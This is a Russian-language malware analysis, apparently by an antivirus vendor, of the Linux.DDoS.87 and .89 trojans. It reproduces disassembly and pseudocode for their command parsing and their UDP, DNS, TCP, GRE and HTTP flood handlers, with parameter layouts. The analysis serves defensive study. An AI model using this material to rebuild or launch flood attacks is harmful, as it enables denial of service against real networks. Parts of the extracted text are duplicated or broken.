.text:0804BA6D          cmp     ebx, 4  
.text:0804BA70          jz      short ret_form_func  
.text:0804BA72          mov     al, [esi+pkct_cmd.cmd]  
.text:0804BA75          cmp     ebx, 5  
.text:0804BA78          mov     [esp+4Ch+var_39], al  
.text:0804BA7C          jz      short ret_form_func  
.text:0804BA7E          mov     al, [esi+pkct_cmd.host_count]  
.text:0804BA81          test    al, al  
.text:0804BA83          jz      short ret_form_func  
.text:0804BA85          and    eax, 0FFh  
.text:0804BA8A          lea     edx, [ebx-6]  
.text:0804BA8D          mov     [esp+4Ch+unprocessed_bytes], edx  
.text:0804BA91          mov     [esp+4Ch+target_count], eax  
.text:0804BA95          lea     ebp, [eax+eax*4]  
.text:0804BA98          cmp     edx, ebp  
.text:0804BA9A          jb     short ret_form_func  
.text:0804BA9C          lea     eax, [esi+pkct_cmd.target]  
.text:0804BA9F          mov     [esp+4Ch+var_18], eax  
.text:0804BAA3          push   eax  
.text:0804BAA4          push   eax  
.text:0804BAA5          push   18h           ; size  
.text:0804BAA7          mov     ecx, [esp+58h+target_count]  
.text:0804BAA8          push   ecx           ; nmemb  
.text:0804BAAC          call   _calloc
```

.text:0804BAB1	mov	[esp+5Ch+targets], eax
.text:0804BAB5	add	esp, 10h
.text:0804BAB8	mov	edx, [esp+4Ch+target_count]
.text:0804BABC	test	edx, edx
.text:0804BABE	jle	short end_target_parsing

Код разбора присланных целей атаки:

.text:0804BAC7 parse_next_target:		; CODE XREF: process+A3j
.text:0804BAC7	mov	edx, [ecx+pkct_cmd.target.ip_addr]
.text:0804BACA	mov	[esi+target_parsed.target_ip], edx
.text:0804BACC	mov	al, [ecx+pkct_cmd.target.masksize]
.text:0804BACF	add	ecx, 5
.text:0804BAD2	mov	[esi+target_parsed.masksize], al
.text:0804BAD5 family], 2	mov	[esi+target_parsed.sockaddr.sin_-
.text:0804BADB addr.sin_addr.s_addr], edx	mov	[esi+target_parsed.sock- addr.sin_addr.s_addr], edx
.text:0804BADE	add	esi, 18h
.text:0804BAE1	cmp	ecx, ebp
.text:0804BAE3	jnz	short parse_next_target
.text:0804BAE5	mov	edx, [esp+4Ch+target_count]
.text:0804BAE9	add	ecx, 6
.text:0804BAEC	mov	[esp+4Ch+var_18], ecx
.text:0804BAF0	lea	eax, [edx+edx*4]
.text:0804BAF3	sub	ebx, eax
.text:0804BAF5	sub	ebx, 6
.text:0804BAF8	mov	[esp+4Ch+unprocessed_bytes], ebx

Затем троянец определяет, следует ли разбирать передаваемые параметры, и если это так, после завершения разбора вызывается функция run_command:

.text:0804BAFC end_target_parsing:		; CODE XREF: process+7Ej
.text:0804BAFC	mov	eax, [esp+4Ch+unprocessed_bytes]
.text:0804BB00	mov	[esp+4Ch+params_buffer], 0
.text:0804BB08	test	eax, eax
.text:0804BB0A m_cnt field = error	jz	short finish_processing ; no para-
.text:0804BB0C	mov	ebx, [esp+4Ch+var_18]

.text:0804BB10	mov	bl, [ebx]
.text:0804BB12	mov	[esp+4Ch+param_cnt], bl
.text:0804BB16	test	bl, bl
.text:0804BB18	jnz	start_parse_params
.text:0804BB1E	mov	[esp+4Ch+var_20], 0
.text:0804BB26 start_command_execution:		; CODE XREF: process+198j
.text:0804BB26		; process+27Aj
.text:0804BB26	push	ebp
.text:0804BB27	push	ebp
.text:0804BB28	mov	esi, [esp+54h+params_buffer]
.text:0804BB2C	xor	eax, eax
.text:0804BB2E	push	esi
.text:0804BB2F	mov	ebx, [esp+58h+param_count]
.text:0804BB33	push	ebx
.text:0804BB34	mov	ecx, [esp+5Ch+targets]
.text:0804BB38	push	ecx
.text:0804BB39	mov	edx, [esp+60h+targets_count]
.text:0804BB3D	push	edx
.text:0804BB3E	mov	al, [esp+64h+params]
.text:0804BB42	push	eax
.text:0804BB43	push	edi
.text:0804BB44	call	run_command

run_command

Функция принимает на вход значение времени, номер команды, количество и массив целей, количество и массив параметров. В первую очередь выполняется поиск необходимого обработчика:

.text:0804B937	mov	bl, ds:handlers.length
.text:0804B93D	mov	al, [esp+2Ch+number]
.text:0804B941	test	bl, bl
.text:0804B943	mov	[esp+2Ch+local_saved_number], al
.text:0804B947	movzx	ebp, [esp+2Ch+target_count]
.text:0804B94C	movzx	edi, [esp+2Ch+params_count]
.text:0804B951	jz	short return ; empty handlers
.text:0804B953	mov	ecx, ds:handlers.handlers

```

.text:0804B959          xor    esi, esi
.text:0804B95B          cmp    al, [ecx+cmd.number]
.text:0804B95D          jz     short handler_found
.text:0804B95F          xor    edx, edx
.text:0804B961          jmp    short loc_804B977
.text:0804B963 ;
-----
-- 

.text:0804B963

.text:0804B963 next_entry: ; CODE XREF: run-
command+4Aj

.text:0804B963          xor    eax, eax
.text:0804B965          mov    al, dl
.text:0804B967          lea    esi, ds:0[eax*8]
.text:0804B96E          mov    al, [esp+2Ch+local_saved_number]
.text:0804B972          cmp    [esi+ecx], al
.text:0804B975          jz     short handler_found
.text:0804B977

.text:0804B977 loc_804B977: ; CODE XREF: run-
command+31j

.text:0804B977          inc    edx
.text:0804B978          cmp    dl, bl
.text:0804B97A          jnz    short next_entry

```

Затем выполняется запуск дочерних процессов:

```

handler_found:
pid_children = fork(); //parent
if ( pid_children <= 0 ) {
    if ( !pid_children ){
        pid_2 = fork();
        if ( pid_2 > 0 )
            exit(0); //child die, so parent returns to command execution
        if ( !pid_2){
            v6 = fork();
            if ( !v6 ){
                setsid();
                init_random();
                handlers.handlers[v7].func(target_count, targets, params-
count, params); // run command

```

```

        exit(0);

    }

    if ( v6 > 0 ){

        setsid();
        sleep(time);
        kill(v6, 9); //kills his child after $time seconds
        exit(0);

    }

}

}else{//parent waiting for children death
    LOBYTE(v6) = __libc_waitpid(pid_children, &status, 0);
}

```

Обработчики команд

```

.text:08048190 cmd15          proc near             ; CODE XREF: cm-
d15j

.text:08048190                 ; DATA XREF:
fillCmdHandlers+27Ao

.text:08048190                 jmp      short cmd15
.text:08048190 cmd15          endp

.text:08048190

.text:08048190 ;
-----
-- 

.text:08048192                 align 10h
.text:080481A0

.text:080481A0 ; ===== S U B R O U T I N E
=====

.text:080481A0
.text:080481A0 ; Attributes: noreturn
.text:080481A0

.text:080481A0 cmd16          proc near             ; CODE XREF: cm-
d16j

.text:080481A0                 ; DATA XREF:
fillCmdHandlers+2B40

.text:080481A0                 jmp      short cmd16
.text:080481A0 cmd16          endp

.text:080481A0

```

```
.text:080481A0 ;
-----
--



.text:080481A2 align 10h
.text:080481B0

.text:080481B0 ; ===== S U B R O U T I N E =====

.text:080481B0
.text:080481B0 ; Attributes: noreturn
.text:080481B0
.text:080481B0 cmd17 proc near ; CODE XREF: cmd17j
.fillCmdHandlers+2EBo
.text:080481B0 jmp short cmd17
.text:080481B0 cmd17 endp
.text:080481B0
```

Остальные обработчики действуют по следующей схеме:

```
void handle(target *t, param *p) {
    траянец получает параметры пакета
    для каждой из целей создается свой пакет
    пока 1 {
        для каждой из целей
        если (maskbits <= 31), то выбирается новый IP для цели
        отправляется пакет
    }
}
```

cmd0 – UDP Flood

В первую очередь осуществляется разбор присланных параметров:

```
v23 = calloc(target_count, 4u);
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
fragmentation = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
```

```
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
packetSize = getNumberOrDefault(params_count, params, 0, 512);
needFillRandom = getNumberOrDefault(params_count, params, 1, 1);
```

Функция **getNumberOrDefault** имеет следующую сигнатуру:

```
int __cdecl getNumberOrDefault(unsigned __int8 length, param2 *param,
char id, int default)
```

Она возвращает значение из массива параметров с указанным id или значение default, если заданного id не найдено. Значения поля id:

Id	Значение
0	Меняется от обработчика. Означает либо длину всего пакета, либо длину данных
1	Для некоторых типов атак определяет, нужно ли генерировать случайные данные в пакете
2	ip_header.TOS
3	ip_header.identification
4	ip_header.TTL
5	ip_header.flags << 13 ip_header.fragment
6	source port
7	dest port
8	Хост в DNS-запросе.
9	Параметры для DNS-запроса.
11	TCP.urgent_flag
12	TCP.ack_flag
13	TCP.psh_flag
14	TCP.rst_flag
15	TCP.syn_flag
16	TCP.fin_flag
17	TCP.Sequence_number
19	Указывает, совпадает ли ip.dstAddr во вложенном в GRE-пакете с ip.destAddr внешнего пакета

Id	Значение
20	Запрашиваемая страница
22	Значение заголовка host

Далее троянец создает «сырой» сокет и заполняет IP-заголовок:

.text:0804AB7F	push	IPPROTO_UDP
.text:0804AB81	push	SOCK_RAW
.text:0804AB83	push	AF_INET
.text:0804AB85	call	__GI_socket
.text:0804AB8A	mov	[esp+6Ch+fd], eax
.text:0804AB8E	add	esp, 10h
.text:0804AB91	inc	eax
.text:0804AB92	jz	loc_804AE5E
.text:0804AB98	mov	[esp+5Ch+var_14], 1
.text:0804ABA0	sub	esp, 0Ch
.text:0804ABA3	push	4
.text:0804ABA5	lea	eax, [esp+6Ch+var_14]
.text:0804ABA9	push	eax
.text:0804ABA9A	push	IP_HDRINCL
.text:0804ABAC	push	SOL_IP
.text:0804ABAE	mov	ebx, [esp+78h+fd]
.text:0804ABB2	push	ebx
.text:0804ABB3	call	__GI_setsockopt

После этого для каждой присланной цели генерируется по заголовку IP/UDP-дейтаграммы:

```

do {
    target_packet_headers[v4] = calloc(0x5E6u, 1u);      current_ipudp_-
    header = target_packet_headers[counter];

    current_ipudp_header->header.ip.Version = 69;
    current_ipudp_header->header.ip.TOS = TOS;
    v6 = htons(packetSize + 28, 8);
    current_ipudp_header->header.ip.totalLength = v6;
    current_ipudp_header->header.ip.TTL = TTL;
    v7 = htons(ident, 8);
    current_ipudp_header->header.ip.ident = v7;
    if ( fragmentation )

```

```

        current_ipudp_header->header.ip.frag_offs = 64;
        current_ipudp_header->header.ip.protocol = IPPROTO_UDP;
        current_ipudp_header->header.ip.src_addr = selfaddr;
        current_ipudp_header->header.ip.dst_addr = targets[counter].target_ip;
        v9 = __ROR2__(sport, 8);
        current_ipudp_header->header.udp.sport = v9;
        v10 = __ROR2__(dport, 8);
        current_ipudp_header->header.udp.dport = v10;
        v11 = __ROR2__(packetSize + 8, 8);
        current_ipudp_header->header.udp.length = v11;
        counter++;
    }while ( target_count > counter );
}

```

Затем в цикле на заданные цели отправляются пакеты. Если для цели указан **maskbits <= 31**, генерируется случайная цель. При этом, если значения параметров `ident`, `dport` и `sport` равны `0xfffff`, то для каждого пакета эти параметры будут генерироваться случайным образом, а если установлен соответствующий параметр, будет произведена генерация тела пакета:

```

text:0804ADF3 rand_indent:                                ; CODE XREF: cm-
d0_udp_random+233j

.text:0804ADF3          call    rand_cmwc
.text:0804ADF8          cmp     [esp+5Ch+sourcePort], 0FFFFh
.text:0804ADFE          mov     [esi+ipudp_0.header._ip.ident], ax
.text:0804AE02          jnz    sport_is_const

.text:0804AE08 rand_sport:                                ; CODE XREF: cm-
d0_udp_random+23Fj

.text:0804AE08          call    rand_cmwc
.text:0804AE0D          cmp     [esp+5Ch+destPort], 0FFFFh
.text:0804AE13          mov     [esi+ipudp_0.header.udp.sport], ax
.text:0804AE17          jnz    dport_is_const

.text:0804AE1D rand_dport:                                ; CODE XREF: cm-
d0_udp_random+24Bj

.text:0804AE1D          call    rand_cmwc
.text:0804AE22          cmp     [esp+5Ch+needFillRandom], 0
.text:0804AE27          mov     [edi+udp_packet.dport], ax
.text:0804AE2B          jz     send_packet

.text:0804AE31 loc_804AE31:                                ; CODE XREF: cm-
d0_udp_random+256j

.text:0804AE31          push   eax

```

```

.text:0804AE32          push    eax
.text:0804AE33          mov     eax, dword ptr [esp+64h
+size_of_packet]
.text:0804AE37          and    eax, 0FFFFh
.text:0804AE3C          push    eax           ; a2
.text:0804AE31 loc_804AE31:                   ; CODE XREF: cm-
d0_udp_random+256j
.text:0804AE31          push    eax
.text:0804AE32          push    eax
.text:0804AE33          mov     eax, dword ptr [esp+64h
+size_of_packet]
.text:0804AE37          and    eax, 0FFFFh
.text:0804AE3C          push    eax           ; a2
.text:0804AE3D          lea    eax, [esi+ipudp_0.data]
.text:0804AE40          push    eax           ; a1
.text:0804AE41          call   fillBufRandom
.text:0804AE46          add    esp, 10h
.text:0804AE49          jmp    send_packet

```

После этого троянец подсчитывает контрольные суммы и переходит к следующей цели. Это продолжается до тех пор, пока процесс не будет завершен:

```

.text:0804AD1C send_packet:                      ; CODE XREF: cm-
d0_udp_random+36Bj
.text:0804AD1C                                         ; cmd0_udp_random
+389j
.text:0804AD1C          mov    word ptr [esi+0Ah], 0
.text:0804AD22          push   eax
.text:0804AD23          push   eax
.text:0804AD24          push   14h
.text:0804AD26          push   esi
.text:0804AD27          call   calcIPCheckSum
.text:0804AD2C          mov    [esi+0Ah], ax
.text:0804AD30          mov    word ptr [edi+6], 0
.text:0804AD36          push   ebx           ; a4
.text:0804AD37          mov    ax, [edi+4]
.text:0804AD3B          and    eax, 0FFFFh
.text:0804AD40          push   eax           ; a3
.text:0804AD41          push   edi           ; a2
.text:0804AD42          push   esi           ; a1

```

.text:0804AD43	call	calcUDPChecksum
.text:0804AD48	mov	[edi+6], ax
.text:0804AD4C	mov	eax, [esp+7Ch+counter]
.text:0804AD50	mov	ecx, [esp+7Ch+targets]
.text:0804AD57	mov	dx, [edi+2]
.text:0804AD5B	lea	eax, [eax+eax*2]
.text:0804AD5E	add	esp, 18h
.text:0804AD61	shl	eax, 3
.text:0804AD64	mov	[eax+ecx+0Ah], dx
.text:0804AD69	lea	eax, [ecx+eax+8]
.text:0804AD6D	push	10h
.text:0804AD6F	push	eax
.text:0804AD70	push	4000h
.text:0804AD75	push	ebp
.text:0804AD76	push	esi
.text:0804AD77	mov	esi, [esp+78h+fd]
.text:0804AD7B	push	esi
.text:0804AD7C	call	__libc_sendto
.text:0804AD81	mov	eax, [esp+7Ch+counter]
.text:0804AD85	inc	eax
.text:0804AD86	mov	[esp+7Ch+counter], eax
.text:0804AD8A	add	esp, 20h
.text:0804AD8D	cmp	eax, [esp+5Ch+target_count_2]
.text:0804AD91	jl	send_to_next_target
.text:0804AD97	mov	ecx, [esp+5Ch+target_count_2]
.text:0804AD9B	test	ecx, ecx
.text:0804AD9D	jmp	and_again

cmd1 – Source Engine Amplification

Работает аналогично предыдущей команде, однако содержимое пакета извлекается из конфигурации:

```
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
```

```
dport = getNumberOrDefault(params_count, params, 7, 27015); //constant by default
tsource = (char *)get_data_from_config(8); // get "TSource Engine Query"
```

cmd2 – DNS flood

Эта команда использует аналогичные предыдущим параметры, к которым добавляется значение `transaction_id` для DNS-пакета и доменное имя, которое необходимо запросить:

```
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 53);
transaction_id_1 = getNumberOrDefault(params_count, params, 9, 0xFFFF);
random_data_length = getNumberOrDefault(params_count, params, 0, 12);
query = getString(params_count, params, 8, 0);
```

Формируется пакет со ста запросами различных доменов и отсылается на указанный адрес. При этом выставляется флаг **Recursion desired**:

.text:0804A4D3	mov	[ecx+dnsheader.flags], 1 ; Do re-
quest reqursively		
.text:0804A4D9	mov	[ecx+dnsheader.qdcount], 100h ;
One Request		
.text:0804A4DF	mov	[edx+ipudp_2.queries], al ; size
of random generated		
.text:0804A4E2	mov	ecx, [esp+6Ch+random_data_length]
.text:0804A4E6	push	eax
.text:0804A4E7	mov	eax, [esp+70h+length_of_domain]
.text:0804A4EB	push	eax ; a3
.text:0804A4EC	lea	ebx, [edx+ecx+(ipudp_2.queries
+1)]		+1)]
.text:0804A4F0	mov	eax, [esp+74h+domain_query]
.text:0804A4F4	push	eax ; a2
.text:0804A4F5	lea	eax, [ebx+1]
.text:0804A4F8	push	eax ; a1
.text:0804A4F9	call	strncpy
.text:0804A4FE	add	esp, 10h
.text:0804A501	mov	esi, [esp+6Ch+length_of_str]

```

.text:0804A505          test    esi, esi
.text:0804A507          jle     loc_804A71E
.text:0804A50D          mov     edx, ebx
.text:0804A50F          xor     ecx, ecx
.text:0804A511          mov     eax, 1
.text:0804A516          jmp     short check_char_in_query
.text:0804A518 ;
-----
-- 

.text:0804A518 not_dot:                                ; CODE XREF: cm-
d2_dns_flood+29Dj
.text:0804A518           inc     ecx                  ; parsing query
.text:0804A519
.text:0804A519 not_very_efficient_loop:              ; CODE XREF: cm-
d2_dns_flood+2A6j
.text:0804A519           inc     eax
.text:0804A51A           cmp     eax, [esp+6Ch+random_data_length]
.text:0804A51E           jz      loc_804A6E9
.text:0804A524
.text:0804A524 check_char_in_query:                   ; CODE XREF: cm-
d2_dns_flood+286j
.text:0804A524           mov     esi, [esp+6Ch+domain_query]
.text:0804A528           cmp     byte ptr [eax+esi-1], '.'
.text:0804A52D           jnz    short not_dot    ; parsing query
.text:0804A52F           mov     [edx], cl
.text:0804A531           lea     edx, [ebx+eax]
.text:0804A534           xor     ecx, ecx
.text:0804A536           jmp     short not_very_efficient_loop

```

Имя запрашиваемого хоста генерируется следующим образом: поле 0 задает длину случайно генерируемого префикса. К нему добавляется строка, которая передается в параметре с **id = 8**.

cmd3 – TCP flood 2 options

Команда предназначена для отправки на указанные цели TCP-пакетов. Через параметры позволяет указывать значения TCP-флагов. Используемые параметры:

```

TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 1);

```

```

sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
seq = getNumberOrDefault(params_count, params, 17, 0xFFFF);
v32 = getNumberOrDefault(params_count, params, 18, 0);
urgent_flag = getNumberOrDefault(params_count, params, 11, 0);
ack_flag = getNumberOrDefault(params_count, params, 12, 0);
psh_flag = getNumberOrDefault(params_count, params, 13, 0);
rst_flag = getNumberOrDefault(params_count, params, 14, 0);
syn_flag = getNumberOrDefault(params_count, params, 15, 1);
fin_flag = getNumberOrDefault(params_count, params, 16, 0);

```

Установка флагов в пакете:

.text:0804A016	mov	[esi+tcp_packet.seq], eax
.text:0804A019 +tcp_packet.flags]	mov	al, byte ptr [esi
.text:0804A01C	and	eax, 0Fh
.text:0804A01F as 10 dwords (40 bytes)	or	eax, 0FFFFFFA0h ; set packet size
.text:0804A022 al	mov	byte ptr [esi+tcp_packet.flags],
.text:0804A025 +(tcp_packet.flags+1)]	mov	al, byte ptr [esi
.text:0804A028	and	eax, 0xFFFFFCFh ; 0x11001111
.text:0804A02B	mov	dl, [esp+6Ch+ack_flg]
.text:0804A02F	or	al, [esp+6Ch+urgent_flg_shifted]
.text:0804A033	mov	cl, [esp+6Ch+push_flag]
.text:0804A037	shl	edx, 4
.text:0804A03A	shl	ecx, 3
.text:0804A03D	or	eax, edx
.text:0804A03F	and	eax, 0xFFFFFFF3h ; 0x11110011
.text:0804A042	mov	dl, [esp+6Ch+rst_flg]
.text:0804A046	shl	edx, 2
.text:0804A049	or	eax, ecx
.text:0804A04B	or	eax, edx
.text:0804A04D	mov	dl, [esp+6Ch+syn_flag]
.text:0804A051	add	edx, edx
.text:0804A053	and	eax, 0xFFFFFFFCh
.text:0804A056	or	eax, edx

.text:0804A058	or	eax, edi
.text:0804A05A +1)], al	mov	byte ptr [esi+(tcp_packet.flags

Помимо этого в пакете устанавливаются TCP-параметры с номерами 2 и 8 – maximum segment size и timestamp:

.text:0804A05D	mov	byte ptr [ebx+28h], TCPOPT_MAXSEG
.text:0804A061	mov	byte ptr [ebx+29h], 4
.text:0804A065	call	rand_cmwc
.text:0804A06A	mov	byte ptr [ebx+2Ch], 4
.text:0804A06E	and	eax, 0Fh
.text:0804A071	mov	byte ptr [ebx+2Dh], 2
.text:0804A075	add	eax, 578h
.text:0804A07A TCPOPT_TIMESTAMP	mov	byte ptr [ebx+2Eh],
.text:0804A07E	ror	ax, 8
.text:0804A082	mov	byte ptr [ebx+2Fh], 0Ah
.text:0804A086	mov	[ebx+2Ah], ax
.text:0804A08A	call	rand_cmwc
.text:0804A08F	mov	dword ptr [ebx+34h], 0
.text:0804A096	mov	[ebx+30h], eax
.text:0804A099	mov	byte ptr [ebx+38h], 1
.text:0804A09D	mov	byte ptr [ebx+39h], 3
.text:0804A0A1	mov	byte ptr [ebx+3Ah], 3
.text:0804A0A5	mov	byte ptr [ebx+3Bh], 6

После формирования пакет отправляется без каких-либо данных.

cmd4 – TCP flood random

Команда работает аналогично предыдущей, однако TCP-параметры в пакете не устанавливаются. Если установлен соответствующий флаг, в пакет записываются случайные данные.

cmd6 – TCP flood 1 option

Команда аналогична cmd3, однако устанавливается лишь один параметр:

.text:08049656 TCPOPT_NOP	mov	byte ptr [esi+iptcp_6.data],
------------------------------	-----	------------------------------

.text:0804965A	mov	byte ptr [esi+(iptcp_6.data+1)],
TCPOPT_NOP		
.text:0804965E	mov	byte ptr [esi+2Ah],
TCPOPT_TIMESTAMP		
.text:08049662	mov	byte ptr [esi+2Bh], 0Ah
.text:08049666	lea	ebx, [esi+2Ch]
.text:08049669	call	rand_cmwc
.text:0804966E	mov	[esi+2Ch], eax
.text:08049671	call	rand_cmwc
.text:08049676	mov	[ebx+4], eax

cmd7 – TCP flood simple

В отличие от предыдущих методов, при выполнении этой команды задается лишь порт и размер отправляемых данных. Для отправления самой атаки устанавливается полноценное TCP-соединение с использованием сокетов:

```
port = getNumberOrDefault(params_count, params, 7, 80);
size = getNumberOrDefault(params_count, params, 0, 1024);
useRandom = getNumberOrDefault(params_count, params, 1, 1);
```

cmd8 UDP flood over GRE

Команда отправляет UDP-пакеты с использованием протокола GRE. Использует следующие параметры:

```
TOS = getNumberOrDefault(params_count, param, 2, 0);
ident = getNumberOrDefault(params_count, param, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, param, 4, 64);
frag = getNumberOrDefault(params_count, param, 5, 1);
sport = getNumberOrDefault(params_count, param, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, param, 7, 0xFFFF);
payloadLength = getNumberOrDefault(params_count, param, 0, 512);
fillRandom = getNumberOrDefault(params_count, param, 1, 1);
useSameAddr = getNumberOrDefault(params_count, param, 19, 0); //inner
ip.dstAddr == outer ip.dstAddr
```

Формирование GRE-пакета осуществляется следующим образом:

```
.text:08048F57 loc_8048F57: ; CODE XREF: cm-
d8_GRE_udp_random+1EFj
```

.text:08048F57	mov	[ebx+ipgre8._ip.protocol],
IPPROTO_GRE		
.text:08048F5B	mov	[edx+gre_packet.protocolType], 8 ;
IP protocol		
.text:08048F61	mov	eax, ds:selfaddr
.text:08048F66	mov	ecx, [esp+5Ch+arg_4]
.text:08048F6A	mov	[ebx+ipgre8._ip.src_addr], eax
.text:08048F6D	mov	eax, [esp+5Ch+counter]
.text:08048F71	lea	eax, [eax+eax*2]
.text:08048F74	mov	eax, [ecx+eax*8]
.text:08048F77	mov	[ebx+ipgre8.ip_in-
ner.header._ip.Version], 45h		
.text:08048F7B	mov	[ebx+ipgre8._ip.dst_addr], eax
.text:08048F7E	mov	al, [esp+5Ch+TOS]
.text:08048F82	mov	[esi+ipudp._ip.TOS], al
.text:08048F85	mov	dl, [esp+5Ch+TTL]
.text:08048F89	mov	eax, dword ptr [esp+5Ch+inner- _length]
.text:08048F8D	ror	ax, 8
.text:08048F91	mov	[esi+ipudp._ip.totalLength], ax
.text:08048F95	mov	ax, [esp+5Ch+ident_inner]
.text:08048F9A	mov	[esi+ipudp._ip.TTL], dl
.text:08048F9D	ror	ax, 8
.text:08048FA1	cmp	[esp+5Ch+frag], 0
.text:08048FA6	mov	[esi+ipudp._ip.ident], ax
.text:08048FAA	jz	short loc_8048FB2
.text:08048FAC	mov	[esi+ipudp._ip.frag_offs], 40h
.text:08048FB2		
.text:08048FB2 loc_8048FB2:		; CODE XREF: cm-
d8_GRE_udp_random+24Aj		
.text:08048FB2	mov	[esi+ipudp._ip.protocol],
IPPROTO_UDP		
.text:08048FB6	call	rand_cmwrc
.text:08048FBB	cmp	[esp+5Ch+var_27], 0
.text:08048FC0	mov	[esi+ipudp._ip.src_addr], eax
.text:08048FC3	jnz	use_same
.text:08048FC9	sub	eax, 400h
.text:08048FCE	xor	eax, 0xFFFFFFFF
.text:08048FD1	mov	[esi+ipgre8._ip.dst_addr], eax

.text:08048FD4	jmp	loc_8048EC3
----------------	-----	-------------

cmd10 GRE Packet using Transparent Ethernet Bridging

Как и предыдущая, эта команда отправляет инкапсулированные GRE-пакеты, однако в этом случае используется ТЕВ (Transparent Ethernet Bridging): вложенный пакет содержит полноценный Ethernet-фрейм. MAC-адреса как отправителя, так и получателя во внутреннем фрейме генерируются случайным образом:

.text:08048A3A	mov	[ebx+ipgre_9.outer_iphdr._ip.protocol], IPPROTO_GRE
.text:08048A3E	mov	[ecx+gre_packet.protocolType], 5865h ; GRE_NET_TEB
.text:08048A44	mov	eax, ds:selfaddr
.text:08048A49	mov	edx, [esp+6Ch+arg_4]
.text:08048A4D	mov	[ebx+ipgre_9.outer_iphdr._ip.sr_c_addr], eax
.text:08048A50	mov	ecx, [esp+6Ch+saved_frame]
.text:08048A54	mov	eax, [esp+6Ch+counter]
.text:08048A58	mov	[ecx+ether_packet.type], 8 ; IP

cmd14 HTTP Flood

За один проход цикла команда отправляет на заданный узел 10 HTTP-запросов следующего вида:

```
GET <param(20)> HTTP/1.1
Host: <param(22)>
Connection: keep-alive
User-Agent: <один случайно выбранный из указанных в конфигурации>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
```

Linux.DDoS.89

SHA1: 846b2d1b091704bb5a90a1752cafe5545588caa6

Модифицированная версия троянца [Linux.DDoS.87](#). Использует схожий способ заполнения структуры с обработчиками команд:

```
v0->number_ = 0;
v0->func = cmd0;
v2 = (cmd **)realloc(malware_conf.entries, 4 * malware_conf.size + 4);
v3 = malware_conf.size + 1;
malware_conf.entries = v2;
v2[malware_conf.size] = v1;
malware_conf.size = v3;
v4 = (cmd *)calloc(1u, 8u);
v5 = v4;
v4->number_ = 1;
v4->func = cmd1;
```

Был переработан вид используемых структур: некоторые поля поменялись местами. Также изменился способ заполнения и хранения конфигурации: в этой версии троянца память для ее записи не переаллоцируется, вместо этого используется статически выделенная область памяти. Перед использованием хранящегося в памяти конкретного значения конфигурации вызывается функция **decode**, которая расшифровывает значение с использованием операции XOR. После использования эта функция вызывается повторно для кодирования значения в памяти. Как и в предыдущей версии, значения полей получаются по номеру, но теперь он совпадает с их положением в массиве. Формат присылаемых команд не изменился. Идентичен и способ запуска обработчика команды (с учетом изменения способа хранения обработчиков).

Запуск обработчика команды в [Linux.DDoS.87](#):

```
char __cdecl run_command(__time_t time, char number, unsigned __int8 tar-
get_count, target_parsed *targets, unsigned __int8 params_count, param2
*params)
{
    signed int v6; // eax@1
    int v7; // esi@2
    unsigned __int8 v8; // dl@3
    int v9; // ebx@12
    int status; // [esp+28h] [ebp-14h]@8
    LOBYTE(v6) = number;
    if ( handlers.length )
```

```
{  
    v7 = 0;  
    if ( number == handlers.handlers->number )  
    {  
        handler_found:  
        v6 = __libc_fork();  
        if ( v6 <= 0 )  
        {  
            if ( !v6 )  
            {  
                v6 = __libc_fork();  
                if ( v6 > 0 )  
                    __GI_exit(0);  
                if ( !v6 )  
                {  
                    v6 = __libc_fork();  
                    v9 = v6;  
                    if ( !v6 )  
                    {  
                        __GI_setsid();  
                        init_random();  
                        handlers.handlers[v7].func(target_count, targets, params_-  
count, params);  
                        __GI_exit(0);  
                    }  
                    if ( v6 > 0 )  
                    {  
                        __GI_setsid();  
                        sleep(time);  
                        __GI_kill(v9, 9);  
                        __GI_exit(0);  
                    }  
                }  
            }  
        }  
    }  
    else  
    {
```

```
    LOBYTE(v6) = __libc_waitpid(v6, &status, 0);
}
}
else
{
    v8 = 0;
    while ( ++v8 != handlers.length )
    {
        v7 = v8;
        LOBYTE(v6) = number;
        if ( handlers.handlers[v7].number == number )
            goto handler_found;
    }
}
return v6;
}
```

Запуск обработчика команды в **Linux.DDoS.89**:

```
void __cdecl sub_8048200(int a1, char a2, unsigned __int8 a3, target_
parsed *a4, unsigned __int8 a5, param2 *a6)
{
    int v6; // eax@1
    int v7; // eax@4
    int v8; // eax@7
    cmd *v9; // edx@7
    int v10; // eax@12
    v6 = __libc_fork();
    if ( v6 != -1 && v6 <= 0 )
    {
        v7 = __libc_fork();
        if ( v7 == -1 )
            __GI_exit(0);
        if ( !v7 )
        {
            __GI_sleep(a1);
            v10 = getppid();
```

```
    __GI_kill(v10, 9);
    __GI_exit(0);
}

if ( (signed int)malware_conf.size > 0 )
{
    v8 = 0;
    v9 = *malware_conf.entries;
    if ( a2 == (*malware_conf.entries)->number_ )
    {
LABEL_10:
        v9->func(a3, a4, a5, a6);
    }
    else
    {
        while ( ++v8 != malware_conf.size )
        {
            v9 = malware_conf.entries[v8];
            if ( v9->number_ == a2 )
                goto LABEL_10;
        }
    }
}
}
```

Основные отличия от Linux.DDoS.87

Изменился генератор псевдослучайной последовательности. Также изменился порядок действий при старте троянца. В первую очередь выполняется работа с сигналами, при этом игнорируется SIGINT:

```
__GI_sigemptyset(&v43);
